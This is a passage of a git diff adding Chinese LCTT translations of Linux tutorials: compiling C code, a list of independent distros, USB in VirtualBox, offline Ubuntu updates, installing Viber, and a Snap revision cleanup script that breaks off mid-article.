文件被汇编为目标 `.o` 文件。 +4. 带有 CPU 指令的二进制目标代码,以及其他目标文件和库 `*.o` 文件,以内存区域无关的偏移量,使用 `ld` 链接以生成可执行文件。 +5. 最终的二进制文件要么包含所有需要的目标,要么设置以动态链接库 `*.so` 文件加载。 + +你可以试试这个简单示例(可能需要对库路径做一些调整): + +``` +$ cat << EOF >> hello.c + #include + int main(void) + { printf("hello world\n"); + return 0; } + EOF +$ cpp hello.c > hello.i +$ gcc -S hello.i +$ as -o hello.o hello.s +$ ld -static -o hello \ + -L/usr/lib64/gcc/x86_64-slackware-linux/5.5.0/ \ + /usr/lib64/crt1.o /usr/lib64/crti.o hello.o \ + /usr/lib64/crtn.o --start-group -lc -lgcc \ + -lgcc_eh --end-group +$ ./hello +hello world +``` + +### 可获得的知识 + +计算机已经变得非常强大,并且用户友好。请不要走向这两种可能的极端中的任何一种:计算机不像捕鼠器和电灯开关那么简单,但它们也不是无法理解的。你可以了解编译代码、如何链接以及针对不同架构进行编译。一旦你知道了,你就可以更好地调试代码。你可以理解你下载的代码,甚至可以修复其中的一两个错误。同时从理论上来讲,你可以建造一个更好的捕鼠器,或者用捕鼠器造一个 CPU。由你决定。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/compiling-code + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[2]: https://opensource.com/article/19/5/primer-assemblers-compilers-interpreters +[3]: https://opensource.com/article/22/9/python-interpreters-2022 +[4]: https://opensource.com/article/22/5/gnu-c-compiler diff --git a/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md b/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md new file mode 100644 index 0000000000..37eee8a1c9 --- /dev/null +++ b/published/202211/20221014 13 Independent Linux Distros That are Built From Scratch.md @@ -0,0 +1,312 @@ +[#]: subject: "13 Independent Linux Distros That are Built From Scratch" +[#]: via: "https://itsfoss.com/independent-linux-distros/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "MuggleWei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15251-1.html" + +13 个从头开始构建的独立 Linux 发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/095522os6236zrzcgs79e9.jpg) + +时至今日,世界上已经有成百上千种不同的 Linux 发行版。 + +它们中的大多数都可以被划归为三个大类 : Debian、Red Hat(Fedora)以及 Arch Linux。 + +使用基于 Debian/Ubuntu、Red Hat/SUSE 或者 Arch 的 Linux 发行版自然有它们的优势。它们很受大众欢迎,因此它们的包管理器能够提供大量的软件包。 + +然而,有一些用户更倾向于使用从头开始构建、独立于 DEB/RPM 这类包管理系统之外的发行版。 + +在这篇文章当中,我们将列出一些优秀的独立 Linux 发行版。 + +> **注意 :** 显然,下面的列表显然不会包括一些广受欢迎,通常作为创建新发行版的基础的发行版,如 Debian、Ubuntu 和 Fedora 等。此外,列表顺序不分先后,没有特定的排名。 + +### 1、NixOS + +![Image Credits: Distrowatch][1] + +NixOS 最初发布于 2003 年,NixOS 建立在 Nix 包管理器之上。它每年发布两个版本,通常是在 5 月和 11 月。 + +NixOS 可能不是一个直接面向新用户或普通用户的发行版。然而,其独特的 [包管理][2] 方法吸引了各种用户。 + +此外,它仍然支持 32 位系统。 + +其他特性: + +* 构建隔离的包 +* 可靠的升级,并且具有回滚功能 +* 可重现的系统配置 + +> **[NixOS][3]** + +### 2、Gentoo Linux + +![Image Credits: Distrowatch][5] + +Geetoo Linux 是一个主要针对操作系统专家的独立 Linux 发行版。它是为那些希望自由定制、微调和优化操作系统以满足其要求的用户而构建。 + +Gentoo 使用 [Portage 包管理器][6] 来创建和安装软件包,通常还允许你针对你的硬件来优化它们。Chrome 的开源版本 **Chromium OS** 便是使用 Gentoo 作为其核心的。 + +不要忘记,Gentoo 是 [仍然支持 32 位架构的发行版][7] 之一。 + +其他特性: + +* 增量更新 +* 基于源码的软件管理方法 +* 支持 GURU(Gentoo 用户仓库)的层叠 Overlay 仓库的概念,允许用户添加 Gentoo 尚未提供的软件包 + +> **[Gentoo Linux][8]** + +### 3、Void Linux + +![Image Credits: Distrowatch][9] + +Void Linux 是一个 [滚动发布的发行版][10],使用 X 二进制软件包系统(XBPS)来安装和删除软件。它由前 NetBSD 开发者 Juan Romero Pardines 创建。 + +它使用 runit 而不是 systemd 作为其初始化系统。此外,它还让你可以选择使用多个 [桌面环境][11]。 + +其他特性: + +* 最小化的系统要求 +* 官方库也提供非自由软件包 +* 支持树莓派 +* 集成 OpenBSD 的 LibreSSL +* 支持 musl C 库 +* 支持 32 位系统 + +> **[Void Linux][12]** + +### 4、Solus Linux + +![solus budgie 2022][14] + +Solus 的前身是 EvolveOS,它从头开始构建并提供了一些令人兴奋的特性。Solus 的旗舰版本使用自己打造的 Budgie 作为桌面环境。 + +与本篇文章介绍的其他系统相比,Solus 对于新手较为友好。它设法成为 [最好的 Linux 发行版][15] 之一。 + +它使用 eopkg 作为其包管理系统,支持版滚动发布模型。按照开发人员的说法,开发 Solus 的目标是用于个人电脑。 + +其他特性: + +* 支持 Budgie、Gnome、MATE 和 KDE Plasma +* 各种开箱即用的软件,从而减少设置工作 + +> **[Solus Linux][16]** + +### 5、Mageia + +![Image Credits: Distrowatch][17] + +Mageia 始于 2010 年,它是 Mandriva Linux 的一个分支。它的目标是成为稳定且安全的桌面和服务器操作系统。 + +Mageia 是一个社区驱动的项目,由非营利组织和贡献者支持。每年会发布一个大版本。 + +其他特性: + +* 支持 32 位系统 +* 支持 KDE Plasma、Gnome 和 XFCE +* 最低的系统要求 + +> **[Mageia][18]** + +### 6、Clear Linux + +![Image Credits: Distrowatch][20] + +Clear Linux 是一个由英特尔发布的发行版,主要设计考虑是性能和云服务的使用。 + +有趣的是,Clear Linux 升级时是作为一个整体而非去升级单个的软件包。所以,即使你不小心弄乱了系统设置,它也可以正确的启动,执行恢复出厂设置,并让用户重新设置。 + +它不太适合个人用户使用。但可以作为一个独特的选择而尝试一下。 + +其他特性: + +* 针对英特尔平台的高度调优 +* 用户和系统文件之间严格分离 +* 持续的漏洞扫描 + +> **[Clear Linux OS][21]** + +### 7、PCLinuxOS + +![Image Credits: Distrowatch][22] + +PCLinuxOS 是一个 x86_64 的 Linux 发行版,使用 APT/RPM 包管理。你可以使用 KDE Plasma、Mate 以及 XFCE 桌面,它同时还提供了更多特性的社区版本的桌面。 + +得益于 [Synaptic 包管理器][23],本地安装的 PCLinuxOS 采用了 APT 包管理系统。但你也可以从它的仓库中找到 RPM 包。 + +其他特性: + +* mylivecd 脚本允许用户去生成一个当前已安装的硬件驱动的“快照”(所有的配置、应用、文档等)并且将它压缩为 ISO CD/DVD/USB 镜像 +* 额外支持超过 85 种语言 + +> **[PCLinuxOS][24]** + +### 8、4MLinux + +![4m linux 2022][25] + +[4MLinux][26] 是一个通用的 Linux 发行版,重点聚焦于下面四个 **“M”** + +* 维护Maintenance(系统救援 Live CD) +* 多媒体Multimedia(支持大量的图形、音频和视频格式) +* 微服务器Miniserver(支持 DNS、FTP、HTTP、MySQL、NFS、Proxy、SMTP、SSH 和 Telnet) +* 神秘Mystery(包含了经典 Linux 游戏的集合) + +它具有最低的系统要求,可作为桌面和服务器版本使用. + +其他特性: + +* 支持大量的图形、音频和视频格式 +* 是小型并且通用的 Linux 发行版 + +> **[4MLinux][27]** + +### 9、Tiny Core Linux + +![Image Credits: Distrowatch][28] + +Tiny Core Linux 专注于使用 BusyBox 和 FLTK 提供一个基础的系统。它不是一个完备的桌面,所以,并不能保证它可以运行于任何系统。 + +它只是一个启动到非常精简的 X 桌面所需的核心,通常带有有线互联网访问权限。 + +用户可以很好的控制一切,但对于新 Linux 用户来说,它并不是一个轻松的开箱即用的系统。 + +其他特性: + +* 旨在从启动时创建的内存副本中运行 +* 默认情况下,其操作就像像云端 / 互联网客户端一样 +* 用户可以使用 appbrowser 来游览库以及下载应用 + +> **[Tiny Core Linux][29]** + +### 10、Linux From Scratch(LFS) + +![Image Credit: Reddit][30] + +[Reddit][31] + +Linux From Scratch(LFS)并不是一个系统,而是通过手动构建所有组件来安装 Linux 的一种方法。一旦完成,它提供了一个紧凑、灵活和安全的系统,并且可以很好的理解一个基于 Linux 的操作系统内部是如何工作的。 + +如果你希望去深入理解 Linux 是如何工作的并且探寻其具体细节,那么 Linux From Scratch(LFS) 是你一定要去尝试,不能错过的一个项目。 + +其他特性 + +* 完全从头开始,定制化的构建 Linux 系统 +* 极度的灵活性 +* 由于从源码开始编译,提供了额外的安全性 + +> **[Linux From Scratch][32]** + +### 11、Slackware + +![Image Credits: Distrowatch][33] + +Slackware 是现今还在维护的最古老的发行版。最初创建于 1993 年,以 Softlanding Linux 系统为基础,随后,许多的 Linux 发行版都是基于 Slackware。 + +Slackware 目标是称为最类似于 UNIX 的 Linux 发行版,同时保持简单和稳定。 + +其他特性: + +* 支持 32 位和 64 位系统 +* 大量的在线文档 +* 从奔腾处理器到最新的机器,它都可以运行 + +> **[Slackware][34]** + +### 12、Alpine Linux + +![alpine linux xfce 2022][35] + +Alpine Linux 是一个社区开发的操作系统,专为路由器、防火墙、VPN、VoIP 盒子和服务器而设计。它是 LEAF 项目的一个分支。 + +Alpine Linux 使用 apk-tools 包管理器,最初由 shell 脚本编写,而后使用 c 语言重构。它是最小的 Linux 发行版之一,仍然支持 32 位系统,并且是一个可以完全从电脑内存运行的操作系统。 + +其他特性: + +* 提供大小仅为 5MB 的最小容器镜像 +* 对于主库,提供 2 年的支持;对于社区库,在下一个稳定版本发布前提供支持 +* 使用 musl libc 制作,Busybox 使用资源效率高的容器 + +> **[Alpine Linux][36]** + +### 13、KaOS + +![Image Credits: Distrowatch][37] + +KaOS 是一个受到 Arch 启发,从头开始构建的 Linux 发行版。它使用 [pacman 包管理器][38]。它是按照"*一个桌面环境(KDE Plasma),一个工具包(Qt),一个架构(X86_64)*"的理念构建的。 + +它的软件库比较有限,但依然为普通用户提供了许多工具。 + +其他特性: + +* 最新的 Plasma 桌面 +* 紧密集成的滚动和透明的现代桌面发行版 + +> **[KaOS][39]** + +#### 总结 + +如果你需要一些独特的体验,那么这些独立 Linux 发行版应该能很好的满足你。 + +然而,如果你想要用其来替换如 Ubuntu 这样主流的 Linux 发行版作为你的桌面系统……你也许需要三思而后行,上面大多数的发行版(并不代表所有)都不是一个日常使用的桌面系统的理想的选项。 + +但是话又说回来,如果你对 Linux 发行版充满了经验,那么毫无疑问,你会享受这项冒险的任务的。 + +*如果你想尝试这些独立发行版的其中一种,哪一个会是你的优先选择呢 ? 请在评论中与我们分享。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/independent-linux-distros/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[MuggleWei](https://github.com/MuggleWei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/10/nixos-2022.png +[2]: https://itsfoss.com/package-manager/ +[3]: https://nixos.org/ +[4]: https://itsfoss.com/advanced-linux-distros/ +[5]: https://itsfoss.com/wp-content/uploads/2022/08/gentoo-linux-plasma.jpg +[6]: https://wiki.gentoo.org/wiki/Portage +[7]: https://itsfoss.com/32-bit-linux-distributions/ +[8]: https://www.gentoo.org/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/void-linux.jpg +[10]: https://itsfoss.com/rolling-release/ +[11]: https://itsfoss.com/best-linux-desktop-environments/ +[12]: https://voidlinux.org/ +[13]: https://itsfoss.com/systemd-free-distros/ +[14]: https://itsfoss.com/wp-content/uploads/2022/10/solus-budgie-2022.jpg +[15]: https://itsfoss.com/best-linux-distributions/ +[16]: https://getsol.us/home/ +[17]: https://itsfoss.com/wp-content/uploads/2022/08/mageia-1.jpg +[18]: https://www.mageia.org/en/ +[19]: https://itsfoss.com/32-bit-linux-distributions/ +[20]: https://itsfoss.com/wp-content/uploads/2022/08/clear-linux-desktop.png +[21]: https://clearlinux.org/ +[22]: https://itsfoss.com/wp-content/uploads/2022/08/pclinuxos.png +[23]: https://itsfoss.com/synaptic-package-manager/ +[24]: https://www.pclinuxos.com/ +[25]: https://itsfoss.com/wp-content/uploads/2022/10/4m-linux-2022.jpg +[26]: https://itsfoss.com/4mlinux-review/ +[27]: http://4mlinux.com/ +[28]: https://itsfoss.com/wp-content/uploads/2022/03/tinycore.jpg +[29]: http://www.tinycorelinux.net/ +[30]: https://itsfoss.com/wp-content/uploads/2022/08/enable-aur-e1659974408774.png +[31]: https://www.reddit.com/r/linuxmasterrace/comments/udi7ts/decided_to_try_lfs_in_a_vm_started_about_a_week/ +[32]: https://www.linuxfromscratch.org/ +[33]: https://itsfoss.com/wp-content/uploads/2022/10/slackware-scaled.jpg +[34]: http://www.slackware.com/ +[35]: https://itsfoss.com/wp-content/uploads/2022/10/alpine-linux-xfce-2022.png +[36]: https://www.alpinelinux.org/ +[37]: https://itsfoss.com/wp-content/uploads/2022/08/kaos-desktop.png +[38]: https://itsfoss.com/pacman-command/ +[39]: https://kaosx.us/ diff --git a/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md b/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md new file mode 100644 index 0000000000..5f6ec9d629 --- /dev/null +++ b/published/202211/20221015.0 ⭐️ How to Enable and Access USB Drive in VirtualBox.md @@ -0,0 +1,112 @@ +[#]: subject: "How to Enable and Access USB Drive in VirtualBox" +[#]: via: "https://www.debugpoint.com/enable-usb-virtualbox/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15287-1.html" + +如何在 VirtualBox 中启用和访问 U 盘 +====== + +> 这是有关如何在 Oracle VirtualBox 中启用 USB 的指南。 + +![][1] + +当你在虚拟机环境中工作时,USB 通常插入主机系统。但是从客体系统访问 USB 内容有点困难。 + +在 VirtualBox 中,你需要安装一些扩展并启用一些设置才能访问 USB。方法如下。 + +本文假设你已经安装了 VirtualBox,并且还在其中安装了一些 Linux 发行版或操作系统。 + +如果没有,请查看 [这篇文章][2]。 + +> **请注意,Oracle VM VirtualBox 扩展包采用 Oracle 的个人使用和评估许可证(PUEL)。该许可证与 VirtualBox 不同,后者采用的是 GPL。如果你将下面的步骤用于商业目的,请确保你仔细阅读 [本页面][11]。** + +### 在 VirtualBox 7.0 中启用 USB + +#### 安装 VirtualBox 扩展包 + +打开 VirtualBox 下载页面并从 [此链接][3] 下载适用于所有支持平台的 VirtualBox 扩展包。 + +![下载扩展包][4] + +然后单击 “文件File > 工具Tools > 扩展包管理器Extension Pack Manager”。 + +单击工具栏中的 “安装Install” 按钮并选择下载的 .vbox-extpak 文件。 + +点击 “安装Install”。接受条款,并为安装提供管理员密码。 + +![安装扩展包管理器][5] + +![接受条款后安装扩展包管理器][6] + +安装成功后,可以在已安装列表中看到。 + +重启主机系统。重启是强制性的。 + +#### 在客体机中启用 USB + +将 U 盘插入你的宿主机系统,你希望从虚拟机中访问该系统。 + +启动 VirtualBox 并右键单击要启用 USB 的虚拟机名称。选择“设置Settings”。 + +![虚拟机的启动设置][7] + +在左窗格中,单击 USB。然后选择控制器版本。例如,你可以选择 USB 3.0。然后单击小加号图标添加 USB 过滤器。 + +在此列表中,你应该看到你的 U 盘名称(你插入的)。对于这个例子,我可以看到我插入的 Transcend Jetflash 驱动器。 + +选择它并按 “OK”。 + +![选择 U 盘][8] + +现在,启动你的虚拟机。打开文件管理器,你应该会看到 U 盘已启用并挂载到你的虚拟机上。 + +在此演示中,你可以看到我的 [Arch-Xfce][9] 虚拟机的 Thunar 文件管理器正在显示我的 U 盘中的内容。 + +![启用 USB 并从 VirtualBox 访问内容][10] + +### 使用说明 + +现在,这里有几件事你应该记住。 + +当你在主机系统中插入 U 盘时,请保持挂载状态。但在启动虚拟机之前不要打开或访问任何文件。 + +启动虚拟机后,U 盘将在主机系统中卸载并自动挂载到客体系统中,即你的虚拟机。 + +使用完 U 盘后,确保在虚拟机中将其弹出或卸载。然后它将能再从你的主机系统内访问。 + +### 总结 + +VirtualBox 是一个功能强大的程序,提供易于使用的功能来设置的你虚拟机。这些步骤很简单,并确保你的 U 盘在主机系统中被正确检测到以正常工作。 + +另外,请记住,通过扩展包检测 U 盘与 VirtualBox 客户端增强包无关。它们完全不相关并提供独立的功能。 + +最后,如果本指南对你有帮助,请在评论栏中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/enable-usb-virtualbox/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/usb-vbox-1024x576.jpg +[2]: https://www.debugpoint.com/tag/virtualbox +[3]: https://www.virtualbox.org/wiki/Downloads +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/Download-the-extension-pack.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/install-extension-pack-manager.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/install-extension-pack-manager-after-accepting-terms.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Launch-settings-for-the-virtual-machine.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/10/Select-the-USB-stick.jpg +[9]: https://www.debugpoint.com/xfce-arch-linux-install-4-16/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/10/Enabling-USB-and-accessing-contents-from-VirtualBox.jpg +[11]: https://www.virtualbox.org/wiki/VirtualBox_PUEL \ No newline at end of file diff --git a/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md b/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md new file mode 100644 index 0000000000..8e7e78fd04 --- /dev/null +++ b/published/202211/20221017.1 ⭐️ How to Update or Upgrade Ubuntu Offline without Internet.md @@ -0,0 +1,113 @@ +[#]: subject: "How to Update or Upgrade Ubuntu Offline without Internet" +[#]: via: "https://www.debugpoint.com/how-to-update-or-upgrade-ubuntu-offline-without-internet/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15253-1.html" + +如何在没有互联网连接的情况下离线更新 Ubuntu +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/14/232951blxmbe6wn5eympxq.jpg) + +> 本指南介绍了如何在没有互联网连接的情况下离线更新 Ubuntu 的步骤。 + +在很多情况下,你可能需要在没有互联网连接的情况下更新你的 Ubuntu 系统。你可能在外地不方便上网,也可能你需要更新一堆未联网的 Ubuntu,不管是哪种情况,保持你的系统更新最新的软件包总是需要的。 + +当然,始终建议通过联网来更新系统。 + +但有时,出于安全考虑,这是不行的。连接到互联网可能需要给你的系统进行额外的加固,以保护它们免受黑客和恶意软件的攻击。 + +以下的方法使用 [apt-offline][1] 来解决这些问题,并概述了在没有互联网的情况下离线更新 Ubuntu 的步骤。 + +### 准备环节 + +- 一台能连接到网络的 Ubuntu(你朋友的、咖啡馆、实验室系统) +- 存储了软件包的 U 盘 +- 两个系统都安装了 `apt-offline`:一个系统离线,另一个系统联网 + +### 安装 apt-offline + +在两个系统下安装 `apt-offline`。你可以使用以下命令安装: + +``` +sudo apt install apt-offline +``` + +如果你想在离线的目标系统安装 `apt-offline`,你可以提前下载到 U 盘里,然后复制到目标系统,再使用下面的命令安装。 + +Ubuntu 22.04 LTS 和其他版本的下载链接如下所示。你可以选择一个镜像并下载 deb 文件。 + +> **[下载 .deb 文件 – apt-offline][2]** + +``` +sudo dpkg -i name_of_package.deb +``` + +### 如何更新 Ubuntu + +在离线的目标系统上打开终端,使用以下命令创建一个 .sig 签名文件: + +``` +sudo apt-offline set ~/offline-data.sig +``` + +![创建签名文件][4] + +在这个刚创建的签名文件中,包含下载所需的软件包的路径和详细信息。 + +![签名文件的内容][6] + +把签名文件复制到 U 盘中,再插到联网的 Ubuntu 系统上。 + +在联网的 Ubuntu 上创建一个目录(参见下面)来存放这些文件。 + +打开一个终端,运行以下命令来下载所需的软件包。记得根据你的系统,更改下载目录和 .sig 签名文件的路径。 + +``` +apt-offline get -d ~/offline-data-dir offline-data.sig +``` + +![下载软件包以离线安装][8] + +你可以看到文件相应下载,然后复制整个下载目录到 U 盘,再插到离线的 Ubuntu 系统。 + +运行以下命令将下载的软件包安装到离线系统,记得根据你的系统更改目录路径。 + +``` +sudo apt-offline install offline-data-dir/ +``` + +![安装软件包][10] + +如果一切顺利,你将获得一个更新完的 Ubuntu。 + +重复以上步骤,就可以保持你的离线 Ubuntu 为最新版本。 + +希望以上教程能帮到你更新离线的 Ubuntu 系统,如果你遇到任何问题,请在下面的评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/how-to-update-or-upgrade-ubuntu-offline-without-internet/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/rickysarraf/apt-offline +[2]: https://packages.ubuntu.com/focal/all/apt-offline/download +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/Create-the-sig-file-1024x204.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/03/Create-the-sig-file.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/sig-file-contents-1024x250.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/sig-file-contents.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/03/Download-the-packages-to-install-offline-1024x437.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/03/Download-the-packages-to-install-offline.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/03/Installing-packages-offline-update-ubuntu-1024x509.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2021/03/Installing-packages-offline-update-ubuntu.jpg diff --git a/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md b/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..79097920ba --- /dev/null +++ b/published/202211/20221019.1 ⭐️ How to Install Viber in Ubuntu and Other Linux.md @@ -0,0 +1,92 @@ +[#]: subject: "How to Install Viber in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/install-viber-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15205-1.html" + +如何在 Ubuntu 中安装 Viber +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/02/161951egly6ylguc6g0w5g.jpg) + +> 这是在 Ubuntu 和其他 Linux 系统中安装 Viber 的快速指南。 + +[Viber][1] 是一个免费、安全的通话和聊天程序,适用于所有流行的移动平台和操作系统。 + +它具有丰富的功能,例如语音/视频通话、支持 GIF 的文本消息、贴纸、照片和视频。此外,Viber 还具有群聊、群呼和消失消息功能。 + +Viber 是一个闭源程序,但有免费的 Linux 原生可执行客户端。 + +下面是安装它的方法。 + +### 在 Linux 上安装 Viber + +它以 AppImage 可执行文件、deb 和 rpm 包的形式提供。按照下面的相应按钮直接下载。平均可执行文件大小约为 180MB。 + +> **[下载适用于所有 Linux 发行版的 Appimage][2]** + +> **[适用于 Ubuntu 的 Deb 可执行文件][3]** + +> **[Fedora 的 RPM 包][8]** + +如果你已下载 AppImage,只需从任意文件管理器将权限更改为可执行文件即可。然后运行。 + +对于 Ubuntu、Linux Mint、Debian 和相关发行版,你可以通过[多种方法][4]安装 deb 包。 + +你可以通过已安装的软件管理器双击打开。或者通过 `dpkg` 命令安装,如下所示。 + +``` +sudo dpkg -i viber.deb +``` + +对于 Fedora 和基于 RPM 的软件包,你可以通过以下命令安装。 + +``` +sudo dnf localinstall viber.rpm +``` + +对于 Arch Linux 和其他发行版,你可以使用我上面提到的 Appimage。 + +### 使用 + +完成安装 Viber 后,通过应用菜单打开它。以下是你需要记住的几件事。 + +在从笔记本电脑/台式机开始使用 Viber 之前,你需要在手机上进行设置。从以下链接为你的移动平台下载并安装 Viber。 + +- [谷歌应用商店][5] +- [苹果应用商店][6] + +安装后,设置 Viber。请记住,它需要你的手机号码才能注册。 + +设置完成后,在 Linux 桌面上打开应用。你应该会看到如下页面。 + +![Viber 在 Linux 中运行][7] + +从你的手机应用扫描二维码,你应该可以在 Linux 桌面上使用 Viber。 + +**注意:** 由于它是一个闭源应用,请确保你在使用 Viber 时了解此应用的条款和与隐私相关的情况。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-viber-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.viber.com/ +[2]: https://download.cdn.viber.com/desktop/Linux/viber.AppImage +[3]: https://download.cdn.viber.com/cdn/desktop/Linux/viber.deb +[4]: https://www.debugpoint.com/install-deb-files/ +[5]: https://play.google.com/store/apps/details?id=com.viber.voip&hl=en_IN&gl=US +[6]: https://apps.apple.com/us/app/viber-messenger-chats-calls/id382617920 +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Viber-is-Running-in-Linux-1.jpg +[8]: https://download.cdn.viber.com/desktop/Linux/viber.rpm diff --git a/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md b/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md new file mode 100644 index 0000000000..f524717305 --- /dev/null +++ b/published/202211/20221019.2 ⭐️ How to Clean Up Snap Versions to Free Up Disk Space.md @@ -0,0 +1,108 @@ +[#]: subject: "How to Clean Up Snap Versions to Free Up Disk Space" +[#]: via: "https://www.debugpoint.com/clean-up-snap/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15219-1.html" + +如何清理 Snap 版本以释放磁盘空间 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/06/082905iomvvhsgoooc5czg.jpg) + +> 这个带有脚本的快速指南有助于清理旧的 Snap 版本并释放 Ubuntu 系统中的一些磁盘空间。 + +我正在使用的 Ubuntu 测试系统中的磁盘空间不足。因此,我通过 GNOME 的磁盘使用分析器进行调查,以找出哪个包正在消耗宝贵的 SSD 空间。除了通常的缓存和主目录,令我惊讶的是,我发现 Snap 和 Flatpak 消耗了大量的存储空间。 + +![Snap 大小 - 清理前][1] + +尽管如此,我始终坚持一个规则:除非必要,否则不要使用 Snap 或 Flatpak。这主要是因为它们的安装尺寸和其他问题。我更喜欢原生 deb 和 rpm 包。多年来,我在这个测试系统中安装和移除了一定数量的 Snap 包。 + +但卸载后还有问题。Snap 在系统中保留了一些残留文件,一般用户不知道。 + +所以我打开了 Snap 文件夹 `/var/lib/snapd/snaps`,发现 Snap 保留了以前安装/卸载的软件包的旧版本。 + +例如,在下图中,你可以看到 GNOME 3.28、3.34 和 Wine 都被删除了。但它们还在那里。发生这种情况是因为 Snap 的设计,它在正确卸载后保留已卸载软件包的版本。 + +![snaps 目录下的文件][2] + +或者,你可以在终端中使用: + +``` +snap list --all +``` + +![snap 列出全部][3] + +对于保留的版本,默认值为 3。这意味着 Snap 会保留每个软件包的三个旧版本,包括活动版本。如果你对磁盘空间没有限制,这是可以的。 + +但是对于服务器和其他情况,这很容易遇到成本问题,它会消耗你的磁盘空间。 + +但是,你可以使用以下命令轻松修改计数。该值可以在 2 到 20 之间。 + +``` +sudo snap set system refresh.retain=2 +``` + +### 清理 Snap 版本 + +在 SuperUser 的一篇文章中,Canonical 的前工程经理 Popey [提供了一个简单的脚本][4],它可以清理旧版本的 Snaps 并保留最新版本。 + +这是我们将用来清理 Snap 的脚本。 + +``` +#!/bin/bash +#Removes old revisions of snaps +#CLOSE ALL SNAPS BEFORE RUNNING THIS +set -eu +LANG=en_US.UTF-8 snap list --all | awk '/disabled/{print $1, $3}' | +while read snapname revision; do + snap remove "$snapname" --revision="$revision" +done +``` + +将上面的脚本以 `.sh` 扩展名保存在一个目录中(例如 `clean_snap.sh`),赋予它可执行权限并运行。 + +``` +chmod +x clean_snap.sh +``` + +当我运行脚本后,它减少了很多磁盘空间。该脚本还将显示要删除的包的名称。 + +![执行脚本][5] + +![清理后的 Snap 大小][6] + +### 结束语 + +对于 Snap 